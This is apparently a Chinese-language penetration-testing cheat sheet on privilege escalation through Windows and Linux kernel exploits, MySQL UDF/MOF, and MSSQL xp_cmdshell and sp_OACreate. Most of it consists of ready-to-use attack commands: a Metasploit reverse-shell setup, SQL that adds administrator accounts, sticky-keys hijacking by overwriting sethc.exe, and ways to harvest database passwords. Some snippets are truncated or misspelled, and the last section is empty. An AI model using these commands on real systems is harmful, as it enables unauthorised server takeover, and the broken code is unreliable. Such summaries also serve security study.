滲透測試—提權方式總結
提權就是通過各種辦法和漏洞,提高自己在服務器中的權限,以便控制全局。
Windows:User >> System
Linux:User >> Root
二、怎樣進行提權(提權的方式有哪些)
1.、系統漏洞提權(Linux、Windows) 2、數據庫提權 3、系統配置錯誤提權 4、權限繼承類提權 5、第三方軟件/服務提權 6、WebServer漏洞提權
1、系統漏洞提權
系統漏洞提權一般就是利用系統自身缺陷,用來提升權限。為了使用方便,windows和linux系統均有提權用的可執行文件。
Windows的提權exp一般格式為MS08067.exe; Linux的提權exp一般格式為2.6.18-194或2.6.18.c。
(1)Windows提權
1.1> 漏洞編號命名格式
Windows系統漏洞編號命名格式為:MS08067
其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年發布的漏洞;067 表示順序,即當年度發布的第67個漏洞。
1.2> 使用exp提權
在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權腳本也常常會被在webshell中運行使用。
那么我們如何知道使用哪個exp來提權呢?
我們可以使用systeminfo命令或者查看補丁目錄,查看補丁記錄,來判斷有哪個補丁沒打,然后使用相對應的exp進行提權。
KB2645640 MS12-009 KB2641653 MS12-018 KB952004 MS09-012 Pr.exe KB956572 MS09-012 巴西烤肉 KB971657 MS09-041 KB2620712 MS11-097 KB2393802 MS11-011 ms11011.exe KB942831 MS08-005 KB2503665 MS11-046 ms11046.exe KB2592799 MS11-080 ms11080.exe
(2)Linux系統提權
Linux系統漏洞的exp一般按照內核版本來命名:2.6.18-194或2.6.18.c
形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯后運行,提權。當然也有少部分exp是按照發行版版本命名。
使用exp
一般情況下linux的本地提權要用nc反彈出來,因為Linux下提升權限后得到的是交互式shell,需反彈才能進行下一步命令的執行。
我們可以使用uname -a命令或者cat /proc/version,來判斷系統的內核情況等等,然后使用相對應的exp進行提權。
注:
提權過程中需要為你的提權exp賦權,chmod。
linux服務器很多情況下管理員會設置目錄權限,我們無法修改,但是一般/tmp/目錄不會被設置權限,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。
2、數據庫提權
數據庫提權是指:通過執行數據庫語句、數據庫函數等方式提升服務器用戶的權限。
首先我們要先有能力登入數據庫,所以通常我們拿到webshell之后要去網站目錄去找數據庫連接文件,常在形如xxx.conf或conf.xxx文件中。
(1)MySQL數據庫提權
MySQL數據庫一般是使用udf(用戶自定義函數)提權或mof(托管對象格式)提權。
1.1> udf提權(用戶自定義函數)
條件:
1、系統版本(Windows2000,XP,Win2003);
2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete權限;
3、具有root賬號密碼。
使用方法:
1、獲取當前mysql的一個數據庫連接信息,通常包含地址、端口、賬號、密碼、庫名等五個信息。
2、把udf專用的webshell傳到服務器上,訪問并進行數據庫連接。
3、連接成功后,導出DLL文件。
注:
Mysql<5.0,導出路徑隨意;
5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
mysql>5.1,需要導出dll到插件路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin
若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL導出到系統目錄,那么你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。
如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;
4、使用SQL語句創建自定義函數。語法如下:
Create Function 函數名 returns string soname '導出的DLL路徑';
eg: Create Function cmdshell returns string soname 'udf.dll';
功能函數說明:
cmdshell 執行cmd; downloader 下載者,到網上下載指定文件并保存到指定目錄; open3389 通用開3389終端服務,可指定端口(不改端口無需重啟); backshell 反彈Shell; ProcessView 枚舉系統進程; KillProcess 終止指定進程; regread 讀注冊表; regwrite 寫注冊表; shut 關機,注銷,重啟; about 說明與幫助函數;
5、創建函數成功后,就可以通過sql語句調用它了。
語法如下:
select 創建的函數名 ('參數列表');
eg: select cmdshell("net user nsfocus Nsf0cus /add");
# 創建一個用戶nsfocus,密碼為Nsf0cus
6、函數使用完后,我們需要把之前生成的DLL和創建的函數刪除掉,但要注意次序,必須先刪除函數再刪除DLL。
刪除函數的語法如下: drop function 創建的函數名; eg: drop function cmdshell;
整體思路:
導出C:\windows\udf.dll
Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('whoami')
drop function cmdshell
1.2> Mof提權(托管對象格式)
提權c:/windows/system32/wbem/mof/
use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit
(2)Mssql數據庫提權
Mssql數據庫提權總結

在SA權限下
存在xp_cmdshell時 使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啟 xp_cmdshell無法使用時 使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啟 當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset) 當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe) 使用xp_regwrite修改注冊表
DBA權限下
備份到網站目錄 通過備份文件到啟動項提
2.1> SA口令獲取方法
2.1.1 Webshell或源碼獲取
一般在站的配置文件中有存放明文賬號密碼,常用配置文件名如:
conn.aspx config.aspx config.php web.config .........
一般格式如:
server=localhost; UID=sa; PWD=shadowflow
2.1.2源代碼泄露
網站源碼泄露情況主要以程序員上傳代碼到git等開源平臺或更新代碼時未刪除備份文件(.svn、.git、.bak),以及運維人員打包源代碼到網站服務器(www.rar等)。
2.1.3嗅探
在局域網中使用cain等工具進行arp嗅探的時候可以抓取到1433端口的數據庫明文登錄密碼
2.1.4口令暴力破解
利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應權限
2.2> 常用SQL Server提權語句
查看數據庫版本:select @@version
查看數據庫系統參數:exec master..xp_msver;
查看用戶所屬角色信息:sp_helpsrvrolemember
查看當前數據庫:select db_name()
顯示機器上的驅動器:xp_availablemedia
查看當前賬戶權限
select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa權限
類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin
select IS_MEMBER('db_owner') #判斷是否為dbo權限
添加用戶
exec master.dbo.sp_addlogin test,password #添加用戶
exec master.dbo.sp_addsrvrolemember test,sysadmin #加權限
啟動停止服務
exec master..xp_servicecontrol 'stop','test'
exec master..xp_servicecontrol 'start','test'
檢查功能
SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'
xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc
xp_cmdshell
1、開啟xp_cmdshell存儲過程
exec sp_configure 'show advanced options',1;RECONFIGURE; exec sp_configure 'xp_cmdshell',1;RECONFIGURE;
2、關閉xp_cmdshell存儲過程
exec sp_configure 'show advanced options', 1, RECONFIGURE; exec sp_configure 'xp_cmdshell',0;RECONFIGURE;
3、xp_cmdshell執行命令
exec master..xp_cmdshell 'ver' exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'
4、恢復xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --
sp_OACreate
1、開啟sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE; exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
2、關閉sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
3、禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
4、sp_OACreate執行命令
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
5、sp_OACreate移動文件
declare @aa int exec sp_oacreate 'scripting.filesystemobject' @aa out exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';
6、sp_OACreate復制文件
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'
7、sp_OACreate刪除文件
DECLARE @Result int DECLARE @FSO_Token int EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啟動\user.bat' EXEC @Result = sp_OADestrop @FSO_Token
8、wscript.shell執行命令
9、Shell.Application執行命令
10、sp_oacreate 替換粘貼鍵
沙盒執行命令 openrowset開啟 openrowset關閉 沙盒執行命令 注冊表篡改 注冊表劫持粘貼鍵
3、系統配置不當提權
利用配置不當提權
前提:已經成功滲透進目標系統;
相比利用漏洞提權,是更常用的方法;
在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;
可以查找系統中以system權限啟動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;
可以查找NTFS權限允許users修改刪除的應用,利用配置不當進行提權;
代碼中是否有過濾參數的操作等都可以加以利用,進行提取;
4、權限繼承類提權
開機啟動項提權?
windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。
5、第三方軟件/服務提權
類型較多,選擇參考
https://www.jianshu.com/p/7115b54e6da9
https://blog.csdn.net/fuckcat_2333/article/details/52164630
6、WebServer漏洞提權